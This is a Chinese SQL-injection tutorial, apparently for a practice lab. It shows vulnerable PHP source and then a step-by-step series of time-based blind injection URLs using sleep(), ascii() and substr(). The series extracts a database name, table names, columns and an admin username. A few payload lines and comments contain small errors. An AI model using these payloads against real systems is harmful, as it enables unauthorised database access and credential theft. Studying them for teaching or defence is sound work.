http://www.nanhack.com/payload/sql/char.php?id=1' and 1=1--+ 页面正常
http://www.nanhack.com/payload/sql/char.php?id=1' and 1=2--+ 页面正常
http://www.nanhack.com/payload/sql/char.php?id=1 and 1=1--+ 页面正常
http://www.nanhack.com/payload/sql/char.php?id=1 and 1=2--+ 页面正常
http://www.nanhack.com/payload/sql/char.php?id=1' and sleep(5)--+ 页面沉睡5秒后返回,证明是延时注入
说明后台sql语句再接受id这个参数的时候,直接把sleep(5)也带进入数据库执行了。
# 程序源码如下:
$id = $_GET['id'];
$sql = "select * from admins where id = '$id'";
#所以加上 ' and sleep(5) 语句就变为:
select * from admins where id = '1' and sleep(5) --+' # 执行查询就直接沉睡5秒了
根据以上内容确定,本页面注入类型为字符型注入的延时注入。
延时注入和布尔型注入类似,都没有显示位。而且延时注入也不能根据页面的变化来判断,只能根据页面的返回时间来判断
这里用到的函数有ascii(),substr(),if()函数
ascii( )函数:返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
substr( ) 函数: substr(string, num start, num length) string 为字符串; start为起始位置;1。length为长度。
if函数:if(A,B,C);如果A为真,则执行B,否则执行C
获取数据库名字长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length(database())>0,sleep(5),1) --+ #网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length(database())>7,sleep(5),1) --+ #网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length(database())=7,sleep(5),1) --+ #网页等待
#得到数据库名字长度是7
获取数据库名字
# 使用二分法判断,取ascii表 32和127的中间值 79来做判断
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(database(),1,1))>79,sleep(5),1) --+ #网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(database(),1,1))>110,sleep(5),1) --+ #网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(database(),1,1))=110,sleep(5),1) --+ #网页等待
#得到数据库名字的第一个字符ascii值是110,查看如下表格
# 发现 110 是字母n
继续第二个字母
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(database(),2,1))>79,sleep(5),1) --+ #网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(database(),2,1))>97,sleep(5),1) --+ #网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(database(),2,1))=97,sleep(5),1) --+ #网页等待
#得到数据库名字的第二个字符ascii值是97,查看如下表格
# 查表得到97是字母a
# 依次类推,得到数据库名字是:nanhack
获取数据库nanhack中表的数量
http://www.nanhack.com/payload/sql/bool.php?id=1' and if((select count(*) from information_schema.tables where table_schema = database())>0,sleep(5),1) --+ #网页等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if((select count(*) from information_schema.tables where table_schema = database())>8,sleep(5),1) --+ #网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if((select count(*) from information_schema.tables where table_schema = database())=8,sleep(5),1) --+ #网页等待
# 得到 表的数量为 8
获取 数据库 nanhack 中的第一个表的长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))>0,sleep(5),1) --+ #网页等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))>10,sleep(5),1) --+ #网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))=10,sleep(5),1) --+ #网页等待
# 得到 表名的长度是10
获取 数据库 nanhack 中的第一个表的名字
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>79,sleep(5),1) -- ' #网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>97,sleep(5),1) -- ' #网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=97,sleep(5),1) -- ' #网页等待
# 得到 表名的第一个字符的ascii值是 97 ,查表得到a
开始确定第二个字符
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))>79,sleep(5),1) -- ' #网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))>100,sleep(5),1) -- ' #网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))=100,sleep(5),1) -- ' #网页等待
# 得到 表名的第一个字符的ascii值是 100 ,查表得到d
# 依次类推得到表名 是 admin_logs
# 依次类推在查询第二个表、第三个表,最终找到表名为admins表
获取 数据库 nanhack 中表 admins 中列的数量
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='admins')>0 --+ # 网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='admins')>8 --+ --+ 网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='admins')=8 --+ 网页等待
# 得到表 admins 列的数量是 8
获取 表 admins 第一个列的长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1))>0,sleep(5),1) --+ # 网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1))>2,sleep(5),1) --+ # 网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1))=2,sleep(5),1) --+ # 网页等待
# 得到表 admins 第一个列的长度是 2
获取 表 admins 第一个列的字符
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1),1,1))>79,sleep(5),1) --+ # 网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1),1,1))>105,sleep(5),1) --+ # 网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1),1,1))=105,sleep(5),1) --+ # 网页等待
# 得到表 admins 第一个列的第一个字符的ascii值是105,查表得到字母i
依次类推得到 第一个列是id
用同样方法得到其他的列:username,userpwd 等
获取 表 admins 第一条 username 数据的长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select username from admins limit 0,1))>0,sleep(5),1)--+ # 网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select username from admins limit 0,1))>18,sleep(5),1)--+ # 网页不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(length((select username from admins limit 0,1))=18,sleep(5),1)--+ # 网页等待
# 得到表 admins 第一个列的第一条数据字符长度是18(注意:有可能是中文,一个中文长度为3,所以这里有可能是6个中文)
获取 表 admins 第一条 username 数据的第一个字符
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select username from admins limit 0,1),1,1))>0,sleep(5),1) --+ # 网页等待
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select username from admins limit 0,1),1,1))>79,sleep(5),1) --+ # 网页等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr((select username from admins limit 0,1),1,1))>127,sleep(5),1) --+ # 网页等待
# ascii值大于127 还正常,说明此字符有可能是中文。 则先把中文转成hex,转成hex后总字符长度是36.
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(hex((select username from admins limit 0,1)),1,1))>79,sleep(5),1) --+ 页面不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(hex((select username from admins limit 0,1)),1,1))>69,sleep(5),1) --+ 页面不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(hex((select username from admins limit 0,1)),1,1))=69,sleep(5),1) --+ 页面等待
# 得到表 admins 第一个列的第一条数据第一个字符的HEX第一个字符的ascii值是69,查表得到 E
# 查询第二个字符
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(hex((select username from admins limit 0,1)),2,1))>79,sleep(5),1) --+ 页面不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(hex((select username from admins limit 0,1)),2,1))>53,sleep(5),1) --+ 页面不等待
http://www.nanhack.com/payload/sql/bool.php?id=1' and if(ascii(substr(hex((select username from admins limit 0,1)),2,1))=53,sleep(5),1) --+ 页面等待
# 得到表 admins 第一个列的第一条数据第二个字符的HEX第一个字符的ascii值是53,查表得到 5
依次类推,最终确定所有字符是:E5BF85E781ABE7BD91E7BB9CE5AE89E585A8
使用工具解码(http://stool.chinaz.com/hex)得到六个字符为:必火网络安全
延时型注入解析到此为止,数据不是中文那就容易多了,如果有不懂的地方可以加页面底部的QQ群。或者直达
www.ctf8.com论坛提问